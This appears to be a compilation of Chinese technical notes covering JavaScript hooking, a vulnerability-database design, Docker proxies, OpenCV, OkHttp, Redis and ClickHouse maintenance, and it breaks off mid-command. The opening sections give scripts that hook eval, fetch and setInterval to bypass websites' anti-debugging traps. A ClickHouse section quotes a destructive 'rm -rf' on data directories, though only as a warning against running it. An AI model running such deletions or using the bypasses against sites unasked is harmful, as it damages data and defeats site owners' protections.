chunkKey = Object.keys(window).find(k => k.startsWith('webpackChunk'));const oldPush = window[chunkKey].push;window[chunkKey].push = function(chunk) { const modules = chunk[1]; for (const id in modules) { const fn = modules[id]; modules[id] = function(module, exports, __webpack_require__) { // 在这里可以拿到模块源码字符串 let code = fn.toString(); // 修改源码(例如移除 debugger) code = code.replace(/\bdebugger\b/g, ''); // 重建函数并在正确的参数上下文里执行 const newFn = eval('(' + code + ')'); return newFn(module, exports, __webpack_require__); }; } return oldPush.call(this, chunk); };这个方法的优势:在模块函数还没执行之前修改,不破坏作用域 __webpack_require__ 仍然由 webpack 正常传入 可以针对特定模块 ID 修改,不影响其他模块只是想看 eval 执行了什么代码 如果目的只是监听而不是转发执行,可以用 Object.defineProperty 劫持赋值时机: let _eval = window.eval;Object.defineProperty(window, 'eval', { get() { return _eval; }, set(v) { console.log('eval 被替换', v); _eval = v; }, configurable: true });或者用 Proxy 记录参数但不干预执行: const rawEval = window.eval;// 只记录,不修改执行上下文 const logFn = function(code) { console.log('[eval]', typeof code === 'string' ? code.slice(0, 200) : code); };// 在外层包一层,直接调用原始 eval window.__logEval = function(code) { logFn(code); return rawEval.call(this, code); };但真正的"无损 hook eval"做不到,只能选择:记录参数(丢失 webpack 作用域)或不 hook(不记录)。
JavaScript 函数 Hook:拦截 fetch、XHR、Function.prototype.call 与 setInterval
Hook 的核心模式 JavaScript 函数 Hook 的通用模式: const original = window.targetFunction;window.targetFunction = function (...args) { // 前置处理 console.log('before call:', args); const result = original.apply(this, args); // 后置处理 console.log('after call:', result); return result; };apply(this, args) 保持原始的 this 上下文,...args 透传所有参数。 Hook fetch const rawFetch = window.fetch;window.fetch = async function (...args) { console.log('[fetch]', args[0]); const response = await rawFetch.apply(this, args); // clone() 避免 body 被消费后无法再读 const clone = response.clone(); clone.text().then(body => { console.log('[fetch response]', body.slice(0, 200)); }); return response; };Hook XMLHttpRequest const RawXHR = window.XMLHttpRequest;window.XMLHttpRequest = function () { const xhr = new RawXHR(); const rawOpen = xhr.open.bind(xhr); xhr.open = function (method, url, ...args) { console.log('[XHR]', method, url); return rawOpen(method, url, ...args); }; const rawSend = xhr.send.bind(xhr); xhr.send = function (body) { xhr.addEventListener('load', function () { console.log('[XHR response]', xhr.responseText.slice(0, 200)); }); return rawSend(body); }; return xhr; };Hook Function.prototype.call(监听所有函数调用) (function () { const rawCall = Function.prototype.call; Function.prototype.call = function (...args) { // this 就是被调用的函数 if (this.name === 'targetFunction') { console.log('[call hook]', this.name, args); } return rawCall.apply(this, args); }; })();影响范围极大,生产环境谨慎使用,建议只在调试时临时注入。 Hook 某个对象的方法 const original = window.api.submit;window.api.submit = function (...args) { console.log('[hook api.submit]', args); const result = original.apply(this, args); console.log('[result]', result); return result; };Hook setInterval(拦截 debugger) 部分网页在 setInterval 里运行 debugger 语句来阻止调试: (() => { const rawSetInterval = window.setInterval; const rawClearInterval = window.clearInterval; const fakeTimers = new Set(); let fakeId = 1_000_000; function shouldBlock(fn) { try { let code = typeof fn === 'function' ? Function.prototype.toString.call(fn) : String(fn); if (/\bdebugger\b/.test(code)) { console.warn('[blocked debugger interval]'); return true; } } catch (e) {} return false; } window.setInterval = function (fn, delay, ...args) { if (shouldBlock(fn)) { fakeTimers.add(++fakeId); return fakeId; } return rawSetInterval(fn, delay, ...args); }; window.clearInterval = function (id) { if (fakeTimers.has(id)) { fakeTimers.delete(id); return; } return rawClearInterval(id); }; })();fakeId 返回一个虚假的 timer ID,避免调用 clearInterval 时报错。 Hook WebAssembly.instantiate const rawInstantiate = WebAssembly.instantiate;WebAssembly.instantiate = async function (...args) { const result = await rawInstantiate.apply(this, args); // 拦截导出函数 const exports = result.instance.exports; for (const key of Object.keys(exports)) { if (typeof exports[key] === 'function') { const original = exports[key]; exports[key] = function (...callArgs) { console.log(`[wasm] ${key}(`, callArgs, ')'); return original.apply(this, callArgs); }; } } return result; };油猴中的注入时机 // ==UserScript== // @run-at document-start // ==/UserScript==document-start 是最早的时机,在页面任何脚本执行之前运行,适合 hook 全局 API。如果用 document-end 或 document-idle,页面原始代码可能已经运行了。
漏洞管理平台架构:main.db + 每应用独立 SQLite 的多库设计
数据库拆分设计 /database main.db ← 用户、管理员、应用列表 java.db ← Java 漏洞、CVE、POC、EXP mysql.db ← MySQL 漏洞、CVE、POC、EXP redis.db nginx.db每个应用独立 SQLite 的优点:某应用数据损坏不影响整个系统 可单独备份或迁移到 PostgreSQL 漏洞数据量大时不会拖慢其他应用的查询main.db 表结构 -- 用户表 CREATE TABLE users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE, password TEXT, -- bcrypt hash role TEXT, -- superadmin / admin / user status INTEGER, -- 0=禁用 1=正常 created_at DATETIME );-- 应用注册表 CREATE TABLE applications ( id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, -- "java" db_name TEXT, -- "java.db" db_path TEXT, -- "/database/java.db" created_at DATETIME );应用数据库(每个应用独立) CREATE TABLE vulnerabilities ( id INTEGER PRIMARY KEY AUTOINCREMENT, title TEXT, description TEXT, severity TEXT, -- critical/high/medium/low affected_version TEXT, fixed_version TEXT, created_at DATETIME );CREATE TABLE cves ( id INTEGER PRIMARY KEY AUTOINCREMENT, cve_id TEXT, -- CVE-2024-12345 cvss REAL, description TEXT );CREATE TABLE pocs ( id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, file_path TEXT, -- /uploads/java/uuid.py description TEXT );CREATE TABLE exps ( id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, file_path TEXT, description TEXT );-- 多对多关联 CREATE TABLE vulnerability_pocs (vuln_id INT, poc_id INT); CREATE TABLE vulnerability_exps (vuln_id INT, exp_id INT); CREATE TABLE vulnerability_cves (vuln_id INT, cve_id INT);动态创建应用数据库 添加应用时,后端自动创建 SQLite 文件并初始化表: // NestJS service async createApplication(name: string) { const dbPath = path.join("database", `${name}.db`); const db = new Database(dbPath); // 初始化表结构 db.exec(` CREATE TABLE IF NOT EXISTS vulnerabilities (...); CREATE TABLE IF NOT EXISTS cves (...); CREATE TABLE IF NOT EXISTS pocs (...); CREATE TABLE IF NOT EXISTS exps (...); `); db.close(); // 记录到 main.db await this.mainDb.run( "INSERT INTO applications (name, db_name, db_path) VALUES (?, ?, ?)", [name, `${name}.db`, dbPath] ); }RBAC 三角色权限角色 权限superadmin 全部权限,管理用户和管理员admin 管理漏洞/CVE/POC/EXP,不能添加管理员user 只能查询漏洞和下载 POC/EXPJWT 鉴权: // NestJS Guard @Injectable() export class RolesGuard implements CanActivate { canActivate(context: ExecutionContext): boolean { const { user } = context.switchToHttp().getRequest(); const requiredRoles = this.reflector.get<string[]>("roles", context.getHandler()); return requiredRoles.includes(user.role); } }文件安全 POC/EXP 文件禁止通过静态目录暴露: ❌ GET /uploads/java/poc.py (直接静态访问) ✅ GET /api/download/poc/:id (JWT 鉴权后返回文件流)@Get("download/poc/:id") @UseGuards(JwtAuthGuard) async downloadPoc(@Param("id") id: string, @Res() res: Response) { const poc = await this.pocService.findById(id); res.download(poc.file_path, poc.name); }上传文件名用 UUID 避免路径遍历: const filename = `${uuidv4()}${path.extname(file.originalname)}`;版本匹配建议 不要简单字符串比对,用 semver 范围查询: import semver from "semver";function isVulnerable(version: string, affected: string): boolean { // affected: ">=8.0.0 <8.0.31" return semver.satisfies(version, affected); }"8.0.9" < "8.0.31" 用字符串比较会得到错误结果(字典序 9 > 3),必须用 semver 数字化比较。 推荐技术栈层 推荐后端框架 NestJS 或 Next.js App RouterORM Prisma(SQLite 支持好,类型安全)鉴权 JWT + bcrypt前端 Vue3 + Element Plus 或 shadcn/ui部署 PM2 + Nginx 反代
Word 通配符替换方括号数字:\[[0-9]@\]
Word 的"查找和替换"不支持标准正则表达式,而是一套叫通配符的专用语法,差异很大。 匹配方括号内的数字 目标:匹配 [1]、[23]、[456] 这类引用编号。 步骤:Ctrl + H 打开查找和替换 点击"更多" 勾选使用通配符 查找内容输入:\[[0-9]@\]表达式 含义\[ 字面量 [[0-9] 一个数字字符@ 前一个表达式重复一次或多次(相当于 +)\] 字面量 ]能匹配 [1]、[12]、[999],不能匹配 [a]、[]。 Word 通配符 vs 标准正则对比功能 标准正则 Word 通配符一个或多个 + @零个或多个 * *分组 (...) (...)引用分组 \1 \1或 | 部分版本支持数字 \d [0-9]转义 [ \[ \[Word 不支持 \d,数字必须写 [0-9]。| 在部分 Word 版本可用但不稳定。 带捕获组的替换 把 [12] 替换成 (12):查找:\[([0-9]@)\] 替换为:(\1)\1 引用第一个捕获组的内容。 处理 ^[ 符号的坑 如果文本里含有 ^[4] 这样的字符串,Word 会把 ^ 当作特殊字符前缀解析,直接手打会报错。 解决方法:从正文复制 ^[ 粘贴到查找框,不要手动键入。 如果是引文工具(NoteExpress、EndNote 等)生成的引用编号,可能是域代码或上标,不是普通文本,普通查找替换匹配不到。处理方法:选中引用 → 取消"上标"格式 或按 Ctrl + Shift + F9 将域代码转为纯文本不使用通配符的替换 不勾选"使用通配符"时,Word 按纯文本匹配(部分特殊字符组合除外),适合匹配固定字符串。如果想匹配的字符串包含 ^,关闭通配符后直接输入 ^[ 通常可以正常查找。 常用 Word 通配符速查 [0-9] 一个数字 [a-z] 一个小写字母 [A-Za-z] 一个字母 [0-9]@ 一个或多个数字 {2} 精确重复 2 次 {1,3} 重复 1~3 次 < 单词开头 > 单词结尾
Docker Compose 容器内配置 HTTP 代理:environment 变量与 host.docker.internal
Docker 容器不会自动继承宿主机的代理设置,容器内部访问外网需要显式注入代理环境变量。 在 docker-compose.yml 中注入代理 在需要走代理的服务 environment 中添加: services: web: image: nginx:latest environment: http_proxy: http://172.17.0.1:7890 https_proxy: http://172.17.0.1:7890 HTTP_PROXY: http://172.17.0.1:7890 HTTPS_PROXY: http://172.17.0.1:7890 NO_PROXY: localhost,127.0.0.1,172.17.0.0/16同时写大写和小写两种形式,因为不同程序读取的环境变量名不一致(curl/wget 读小写,Java/Python 可能读大写)。 Linux 宿主机代理地址 Linux 下 Docker 默认网桥 IP 是 172.17.0.1,容器内可以用它访问宿主机上运行的代理: # 先在宿主机验证端口可达 curl 172.17.0.1:7890更推荐的写法是用 host-gateway,语义更清晰且不依赖具体网桥 IP: services: web: extra_hosts: - "host.docker.internal:host-gateway" environment: http_proxy: http://host.docker.internal:7890 https_proxy: http://host.docker.internal:7890host.docker.internal 在 macOS/Windows 的 Docker Desktop 中默认可用,Linux 需要通过 extra_hosts 手动映射。 Dockerfile 构建阶段代理 environment 只对运行中的容器生效,docker build 阶段(apt install、pip install、git clone)需要在 Dockerfile 里设置: FROM ubuntu:24.04ENV http_proxy=http://host.docker.internal:7890 ENV https_proxy=http://host.docker.internal:7890RUN apt-get update && apt-get install -y curl或者构建时通过 --build-arg 传入(更灵活,不会写死到镜像层): ARG http_proxy ARG https_proxy RUN apt-get update && apt-get install -y curldocker build \ --build-arg http_proxy=http://172.17.0.1:7890 \ --build-arg https_proxy=http://172.17.0.1:7890 \ -t myimage .常见问题 容器外能上网,容器内不行 → 忘记设置 environment 代理变量。 代理地址用 127.0.0.1 不通 → 容器的 127.0.0.1 指向容器本身而非宿主机,必须用 172.17.0.1 或 host.docker.internal。 https_proxy 写成 https:// → 代理地址的 scheme 必须用 http://,即使是 HTTPS 流量也一样: HTTPS_PROXY=https://... ← 错误 HTTPS_PROXY=http://... ← 正确
OpenCV 识别户型图中的墙线与柱子:HoughLines、轮廓检测与 YOLO
图片/CAD 图纸方案 墙线识别 import cv2 import numpy as npimg = cv2.imread("floorplan.png") gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)# 边缘检测 edges = cv2.Canny(gray, 50, 150, apertureSize=3)# 霍夫直线检测 lines = cv2.HoughLinesP( edges, rho=1, theta=np.pi / 180, threshold=100, minLineLength=50, maxLineGap=10 )if lines is not None: for line in lines: x1, y1, x2, y2 = line[0] cv2.line(img, (x1, y1), (x2, y2), (0, 255, 0), 2)minLineLength 控制最短检测长度,maxLineGap 控制允许的断线间距。 圆柱识别 circles = cv2.HoughCircles( gray, cv2.HOUGH_GRADIENT, dp=1, minDist=20, param1=50, param2=30, minRadius=10, maxRadius=100 )if circles is not None: circles = np.uint16(circles[0]) for cx, cy, r in circles: cv2.circle(img, (cx, cy), r, (255, 0, 0), 2)方柱/立柱识别 通过轮廓检测找矩形区域: contours, _ = cv2.findContours(edges, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)for cnt in contours: area = cv2.contourArea(cnt) if area < 200: continue # 多边形逼近 epsilon = 0.02 * cv2.arcLength(cnt, True) approx = cv2.approxPolyDP(cnt, epsilon, True) # 4 个顶点且面积合理 → 矩形 → 立柱 if len(approx) == 4: x, y, w, h = cv2.boundingRect(approx) aspect = w / h if h > 0 else 0 if 0.5 < aspect < 2.0: # 长宽比合理 cv2.rectangle(img, (x, y), (x + w, y + h), (0, 0, 255), 2)3D 点云方案(激光雷达/深度图) 墙面提取(RANSAC 平面分割) import open3d as o3dpcd = o3d.io.read_point_cloud("scan.ply")# RANSAC 平面分割 plane_model, inliers = pcd.segment_plane( distance_threshold=0.01, ransac_n=3, num_iterations=1000 )wall_cloud = pcd.select_by_index(inliers) other_cloud = pcd.select_by_index(inliers, invert=True)重复调用提取多个平面(多面墙体)。 圆柱提取(PCL RANSAC) PCL 提供 SACMODEL_CYLINDER 直接拟合圆柱: pcl::SACSegmentationFromNormals<PointT, NormalT> seg; seg.setModelType(pcl::SACMODEL_CYLINDER); seg.setMethodType(pcl::SAC_RANSAC); seg.setDistanceThreshold(0.05); seg.segment(*inliers, *coefficients);Python 可通过 python-pcl 或 Open3D 的 cylinder_fit 实现。 实时摄像头方案(推荐) 传统几何算法在以下情况容易失效:图纸断线、噪声 光照变化 非标准图纸格式推荐直接用 YOLO 检测/分割模型: from ultralytics import YOLOmodel = YOLO("yolov8n-seg.pt")# 训练自定义数据集(wall / pillar / cylinder 三类) model.train(data="floorplan.yaml", epochs=100, imgsz=640)# 推理 results = model("room.jpg") results[0].show()YOLOv8-seg 直接输出分割 Mask,比 HoughLines 对真实环境更鲁棒。 方案选型建议场景 推荐方案标准黑白 CAD 图 Canny + HoughLinesP平面图圆柱 HoughCircles复杂/真实户型图 轮廓检测 + 面积过滤激光雷达点云 RANSAC 平面/圆柱拟合实时摄像头 YOLOv8-seg 训练定制模型实际项目中通常是"深度学习检测 + 几何后处理"组合使用,单纯依赖传统算法稳定性较差。
OkHttp 发起 HTTP 请求:POST JSON、表单、文件上传与异步调用
Maven 依赖 <dependency> <groupId>com.squareup.okhttp3</groupId> <artifactId>okhttp</artifactId> <version>4.12.0</version> </dependency>GET 请求 OkHttpClient client = new OkHttpClient();Request request = new Request.Builder() .url("https://api.example.com/users/1") .build();try (Response response = client.newCall(request).execute()) { String body = response.body().string(); System.out.println(body); }POST JSON OkHttpClient client = new OkHttpClient();MediaType JSON = MediaType.get("application/json; charset=utf-8"); String json = "{\"username\": \"admin\", \"password\": \"secret\"}";RequestBody body = RequestBody.create(json, JSON);Request request = new Request.Builder() .url("https://api.example.com/login") .post(body) .build();try (Response response = client.newCall(request).execute()) { System.out.println(response.body().string()); }自定义 Header Request request = new Request.Builder() .url("https://api.example.com/data") .header("Authorization", "Bearer your-token") .header("Content-Type", "application/json") .post(body) .build();表单提交(application/x-www-form-urlencoded) RequestBody formBody = new FormBody.Builder() .add("username", "admin") .add("password", "secret") .build();Request request = new Request.Builder() .url("https://api.example.com/login") .post(formBody) .build();文件上传(multipart/form-data) File file = new File("/path/to/file.jpg");RequestBody fileBody = RequestBody.create(file, MediaType.get("image/jpeg"));RequestBody multipart = new MultipartBody.Builder() .setType(MultipartBody.FORM) .addFormDataPart("file", file.getName(), fileBody) .addFormDataPart("description", "头像上传") .build();Request request = new Request.Builder() .url("https://api.example.com/upload") .post(multipart) .build();超时配置 OkHttpClient client = new OkHttpClient.Builder() .connectTimeout(5, TimeUnit.SECONDS) .readTimeout(10, TimeUnit.SECONDS) .writeTimeout(10, TimeUnit.SECONDS) .build();异步请求(enqueue) client.newCall(request).enqueue(new Callback() { @Override public void onFailure(Call call, IOException e) { e.printStackTrace(); } @Override public void onResponse(Call call, Response response) throws IOException { try (ResponseBody body = response.body()) { System.out.println(body.string()); } } });异步回调在 OkHttp 内部线程池中执行,Android 中更新 UI 需要切回主线程。 封装工具类 public class HttpUtil { private static final OkHttpClient CLIENT = new OkHttpClient.Builder() .connectTimeout(5, TimeUnit.SECONDS) .readTimeout(10, TimeUnit.SECONDS) .build(); private static final MediaType JSON = MediaType.get("application/json; charset=utf-8"); public static String get(String url) throws IOException { Request request = new Request.Builder().url(url).build(); try (Response response = CLIENT.newCall(request).execute()) { return response.body().string(); } } public static String postJson(String url, String json) throws IOException { RequestBody body = RequestBody.create(json, JSON); Request request = new Request.Builder().url(url).post(body).build(); try (Response response = CLIENT.newCall(request).execute()) { return response.body().string(); } } }OkHttpClient 实例应该全局复用,避免每次请求创建新实例浪费连接池资源。
Laravel + ClickHouse 统计数据推送飞书卡片
用 Laravel 定时任务对接 ClickHouse 日志,每小时/每天推送应用流量报告到飞书群。 核心架构 ClickHouse (request_logs) → Laravel Artisan Command → 飞书 Webhook → 交互式卡片定时任务两种模式:push:feishu-stats — 每小时统计近 1h / 3h 流量 push:feishu-stats daily — 每天 0 点统计近 24h / 3d / 7dArtisan Command <?phpnamespace App\Console\Commands;use Illuminate\Console\Command; use Illuminate\Support\Facades\Http; use Carbon\Carbon; use App\Services\ClickHouseService;class PushFeishuStats extends Command { protected $signature = 'push:feishu-stats {type=hourly}'; protected $description = '推送应用访问统计数据到飞书群'; protected ClickHouseService $clickHouseService; public function __construct(ClickHouseService $clickHouseService) { parent::__construct(); $this->clickHouseService = $clickHouseService; } public function handle() { $type = $this->argument('type'); try { $type === 'daily' ? $this->handleDailyPush() : $this->handleHourlyPush(); return Command::SUCCESS; } catch (\Throwable $e) { $this->error($e->getMessage()); return Command::FAILURE; } } protected function handleHourlyPush() { $now = Carbon::now(); $oneHourAgo = $now->copy()->subHour()->toDateTimeString(); $threeHoursAgo = $now->copy()->subHours(3)->toDateTimeString(); $sql = " SELECT JSONExtractString(request_params, 'appid') AS appid, COUNTIf(timestamp >= '{$oneHourAgo}') AS count_1h, COUNT(1) AS count_3h FROM request_logs WHERE timestamp >= '{$threeHoursAgo}' GROUP BY appid HAVING count_3h > 10 ORDER BY count_3h DESC LIMIT 20 "; $rows = $this->query($sql); $this->sendToFeishu('📊 每小时应用流量监控', $rows, 'hourly'); } protected function handleDailyPush() { $now = Carbon::now(); $oneDayAgo = $now->copy()->subDay()->toDateTimeString(); $threeDaysAgo = $now->copy()->subDays(3)->toDateTimeString(); $sevenDaysAgo = $now->copy()->subDays(7)->toDateTimeString(); $sql = " SELECT JSONExtractString(request_params, 'appid') AS appid, COUNTIf(timestamp >= '{$oneDayAgo}') AS count_24h, COUNTIf(timestamp >= '{$threeDaysAgo}') AS count_3d, COUNT(1) AS count_7d FROM request_logs WHERE timestamp >= '{$sevenDaysAgo}' GROUP BY appid HAVING count_7d > 50 ORDER BY count_7d DESC LIMIT 20 "; $rows = $this->query($sql); $this->sendToFeishu('📅 每日应用流量大盘', $rows, 'daily'); } protected function query(string $sql): array { return $this->clickHouseService->getClient()->select($sql)->rows(); } protected function sendToFeishu(string $title, array $rows, string $type = 'hourly') { $webhookUrl = env('FEISHU_WEBHOOK'); if (!$webhookUrl) { $this->error('未配置 FEISHU_WEBHOOK'); return; } $elements = [ ['tag' => 'markdown', 'content' => '**🕒 生成时间:** ' . now()->format('Y-m-d H:i:s')], ['tag' => 'markdown', 'content' => '**📈 应用数量:** ' . count($rows)], ['tag' => 'hr'], ]; foreach ($rows as $index => $row) { $rank = $index + 1; $appid = $row['appid'] ?: 'unknown'; if ($type === 'hourly') { $count1h = (int) $row['count_1h']; $count3h = (int) $row['count_3h']; $avg = max(1, $count3h / 3); $rate = round(($count1h / $avg) * 100); $trend = '🟢'; $status = '正常'; if ($rate >= 200) { $trend = '🚨'; $status = '流量暴涨'; } elseif ($rate >= 150) { $trend = '🟡'; $status = '流量升高'; } elseif ($rate <= 50) { $trend = '🔵'; $status = '流量下降'; } $content = "### {$trend} TOP {$rank} · {$appid}\n\n> {$status}\n\n" . "- 1小时请求量:**" . number_format($count1h) . "**\n" . "- 3小时请求量:**" . number_format($count3h) . "**\n" . "- 当前热度:**{$rate}%**"; } else { $count24h = (int) $row['count_24h']; $count3d = (int) $row['count_3d']; $count7d = (int) $row['count_7d']; $avg = max(1, $count7d / 7); $rate = round(($count24h / $avg) * 100); $trend = $rate >= 180 ? '🚨' : ($rate >= 130 ? '🟡' : '🟢'); $content = "### {$trend} TOP {$rank} · {$appid}\n\n" . "- 24小时请求量:**" . number_format($count24h) . "**\n" . "- 近3天:**" . number_format($count3d) . "**\n" . "- 近7天:**" . number_format($count7d) . "**\n" . "- 当前热度:**{$rate}%**"; } $elements[] = ['tag' => 'markdown', 'content' => $content]; $elements[] = ['tag' => 'hr']; } $elements[] = ['tag' => 'markdown', 'content' => '⚡ Powered By Laravel + ClickHouse']; $payload = [ 'msg_type' => 'interactive', 'card' => [ 'config' => ['wide_screen_mode' => true], 'header' => [ 'title' => ['tag' => 'plain_text', 'content' => $title], 'template' => 'turquoise', ], 'elements' => $elements, ], ]; $response = Http::timeout(10)->post($webhookUrl, $payload); $response->successful() ? $this->info('飞书推送成功') : $this->error('飞书推送失败: ' . $response->body()); } }注册定时任务 // routes/console.php Schedule::command('push:feishu-stats')->hourly(); Schedule::command('push:feishu-stats daily')->dailyAt('00:00');.env 配置 FEISHU_WEBHOOK=https://open.feishu.cn/open-apis/bot/v2/hook/xxxxxxxxClickHouse 性能建议 当前用 JSONExtractString(request_params, 'appid') 实时解析 JSON,数据量大时 CPU 开销高。建议在 request_logs 表冗余一个 appid String 字段,插入时直接写入,便于索引和 GROUP BY 加速。 飞书卡片效果 📊 每小时应用流量监控 🕒 生成时间:2026-05-28 10:00:00 📈 应用数量:15🚨 TOP 1 · app_main > 流量暴涨 • 1小时请求量:23,412 • 3小时请求量:41,221 • 当前热度:171%🟢 TOP 2 · app_test • 1小时请求量:1,242 • 当前热度:119%比 Markdown 表格可读性高很多,支持趋势颜色标识。
下载量统计:滑动窗口 vs 整点分桶与 Redis 分钟桶方案
两种统计方式 滑动窗口(实时系统首选) 统计"当前往前推 N 小时"的下载数: -- 1 小时下载量 SELECT COUNT(*) FROM downloads WHERE download_time >= NOW() - INTERVAL 1 HOUR;-- 3 小时下载量 SELECT COUNT(*) FROM downloads WHERE download_time >= NOW() - INTERVAL 3 HOUR;特点:平滑、不会整点突变,适合实时热榜、推荐系统、CDN 统计。 自然时间段(BI 报表常用) 按整点分桶,例如现在 15:37,统计范围是 15:00~15:59: SELECT COUNT(*) FROM downloads WHERE HOUR(download_time) = HOUR(NOW()) AND DATE(download_time) = CURDATE();适合财务报表、数据仓库场景,不适合实时排行——整点会出现排名抽搐。 Redis 分钟桶(高并发推荐) 生产环境不会每次扫大表,而是用 Redis 分钟桶: Key 格式:download:item:{id}:{yyyyMMddHHmm} 例如:download:item:123:202605281537每次下载: INCR download:item:123:202605281537 EXPIRE download:item:123:202605281537 86400查询 1 小时:累加最近 60 个分钟 Key 查询 3 小时:累加最近 180 个分钟 Key 逻辑上是滑动窗口,底层是时间桶——抖音、B站、Steam 热榜的标准做法。 热度分值 单纯看 1 小时容易被刷量,实际排行榜通常组合多个时间窗口: score = download_1h * 0.5 + download_3h * 0.3 + download_24h * 0.2再叠加时间衰减因子防止老内容永远霸榜。 方案选型场景 推荐方案普通业务后台 MySQL NOW() - INTERVAL高并发下载统计 Redis 分钟桶 + 定时汇总热门排序 1h + 3h + 24h 三个窗口组合历史分析 / BI ClickHouse 聚合
Redis 下载量统计:滑动窗口、时间桶与热度排名
两种时间口径 滑动窗口:统计 now() - INTERVAL 到 now() 的下载量,精确反映最近一段时间,但每次查询结果都在变化。 自然时间段:按整点(今天 0 点至今、本小时 0 分至今)统计,实现简单,但整点后计数归零,会出现明显跳变。 大多数业务选择自然时间段作为展示口径,滑动窗口用于后台热度计算。 Redis 分钟级时间桶 每次下载触发 INCR,key 包含资源 ID 和分钟级时间戳: download:item:123:202605281537时间戳格式:yyyyMMddHHmm,精度到分钟。 import redis from datetime import datetimer = redis.Redis()def record_download(item_id: int): minute_key = datetime.utcnow().strftime("%Y%m%d%H%M") key = f"download:item:{item_id}:{minute_key}" r.incr(key) r.expire(key, 86400 * 2) # 保留 2 天,超过不再需要EXPIRE 设为 2 天,避免 key 无限堆积。 查询最近 1 小时下载量 累加过去 60 个分钟 key: from datetime import datetime, timedeltadef get_downloads_1h(item_id: int) -> int: now = datetime.utcnow() keys = [] for i in range(60): t = now - timedelta(minutes=i) minute_key = t.strftime("%Y%m%d%H%M") keys.append(f"download:item:{item_id}:{minute_key}") counts = r.mget(keys) return sum(int(c) for c in counts if c)同理,3 小时累加 180 个 key,24 小时累加 1440 个 key。 热度排名分数 加权组合多个时间窗口,近期权重更高: def get_hot_score(item_id: int) -> float: h1 = get_downloads_1h(item_id) h3 = get_downloads_3h(item_id) h24 = get_downloads_24h(item_id) return h1 * 0.5 + h3 * 0.3 + h24 * 0.2定时任务(如每 5 分钟)批量计算所有资源的热度分,写入 Redis Sorted Set: r.zadd("hot:items", {str(item_id): score})查询热度榜: top10 = r.zrevrange("hot:items", 0, 9, withscores=True)写入性能优化 下载量高时,单个 key 的 INCR 有热点风险。可以用 Pipeline 批量写: pipe = r.pipeline() for item_id in download_batch: key = f"download:item:{item_id}:{minute_key}" pipe.incr(key) pipe.expire(key, 172800) pipe.execute()或者在应用层做本地聚合,每 30 秒一次性写入 Redis,减少 INCR 频率。 离线统计:ClickHouse 实时热度用 Redis 时间桶,历史下载量分析(按天/按地区)用 ClickHouse:每次下载写入 Kafka,消费后落表到 ClickHouse ClickHouse 按 item_id + date 聚合,查询速度远快于 MySQLRedis 时间桶适合实时排行榜,ClickHouse 适合报表和长周期分析,两者互补。
ClickHouse system 日志表清理:TRUNCATE、关闭无用日志和 TTL 配置
ClickHouse 的 system.*_log 表在生产环境不加干预,几个月就能积累几十上百 GB。 空间占用查询 SELECT database, table, formatReadableSize(sum(bytes)) size FROM system.parts GROUP BY database, table ORDER BY sum(bytes) DESC;常见爆炸表:表 典型症状text_log 大量 exception 或 debug 日志trace_log 开了 profile 或查询 traceasynchronous_metric_log metrics 刷新间隔太低metric_log 运行时间过长part_log 小批量高频 insertquery_log 高频查询立即清理 TRUNCATE TABLE system.text_log; TRUNCATE TABLE system.trace_log; TRUNCATE TABLE system.asynchronous_metric_log; TRUNCATE TABLE system.metric_log; TRUNCATE TABLE system.part_log; TRUNCATE TABLE system.query_log; TRUNCATE TABLE system.latency_log; TRUNCATE TABLE system.processors_profile_log;SYSTEM FLUSH LOGS;TRUNCATE 后空间不会立刻全部回收(还有 deleted parts 和文件系统缓存),重启服务通常能完全释放: systemctl restart clickhouse-server关闭不需要的日志 编辑 /etc/clickhouse-server/config.xml 或 /etc/clickhouse-server/config.d/*.xml: <!-- 关闭高噪音日志 --> <text_log remove="1"/> <trace_log remove="1"/> <metric_log remove="1"/> <asynchronous_metric_log remove="1"/> <processors_profile_log remove="1"/> <part_log remove="1"/>重启生效: systemctl restart clickhouse-server生产建议:保留 query_log,用于慢查询分析。其余视需要选择性保留。 设置 TTL 限制保留天数 不想完全关闭,只保留最近几天: <query_log> <database>system</database> <table>query_log</table> <flush_interval_milliseconds>7500</flush_interval_milliseconds> <ttl>event_date + INTERVAL 7 DAY DELETE</ttl> </query_log>part_log 异常:小批量写入问题 part_log 几千万行通常意味着:每条记录单独 INSERT(正确做法是批量几千到几万行) Kafka consumer batch 配置太小 频繁小事务导致 parts 积累、merge 压力大查看各表的活跃 parts 数量: SELECT table, count() FROM system.parts WHERE active GROUP BY table ORDER BY count() DESC;正常表的 parts 数在百到千量级;如果单表几万 parts,说明写入模式有问题。 query_log 分析 高频查询: SELECT query, count() FROM system.query_log GROUP BY query ORDER BY count() DESC LIMIT 20;频繁报错的查询: SELECT exception, count() FROM system.query_log WHERE type = 'ExceptionWhileProcessing' GROUP BY exception ORDER BY count() DESC LIMIT 20;不要直接删目录 rm -rf /var/lib/clickhouse/data/system/* 可能导致 metadata 不一致、启动失败或权限异常,优先使用 TRUNCATE、TTL 或 remove="1" 配置。
ClickHouse system.*_log 表几十 GB?先清后关
线上一台 ClickHouse 跑了两个月,磁盘吃掉几十 GB。查一下: SELECT database, table, formatReadableSize(sum(bytes)) AS size, sum(rows) AS rows FROM system.parts WHERE active GROUP BY database, table ORDER BY sum(bytes) DESC LIMIT 10;结果: system text_log 34.15 GiB 9亿行 system trace_log 11.41 GiB 5亿行 system asynchronous_metric_log 9.36 GiB 347亿行 system metric_log 7.75 GiB 3600万行 system part_log 4.65 GiB 6800万行 system query_log 3.59 GiB 3800万行几乎全是 ClickHouse 自己写的内部监控日志。业务数据加起来才几个 G。 第一步:立刻清理 TRUNCATE 把大头清空: TRUNCATE TABLE system.text_log; TRUNCATE TABLE system.trace_log; TRUNCATE TABLE system.asynchronous_metric_log; TRUNCATE TABLE system.metric_log; TRUNCATE TABLE system.part_log; TRUNCATE TABLE system.processors_profile_log; -- query_log 可以选择保留,用于事后排查 TRUNCATE TABLE system.latency_log;query_log 是"这个 ClickHouse 都处理过什么 SQL"的记录,日常排查很有用,多数情况留着。 清完之后: SYSTEM FLUSH LOGS;再查一次磁盘: du -sh /var/lib/clickhouse/data/system/*空间没立刻回收是正常的。因为:MergeTree 的 parts 只是标记删除,等 merge 文件系统 cache delete_from_disk 有 TTL可以强制一下: OPTIMIZE TABLE system.query_log FINAL;或者最粗暴: sudo 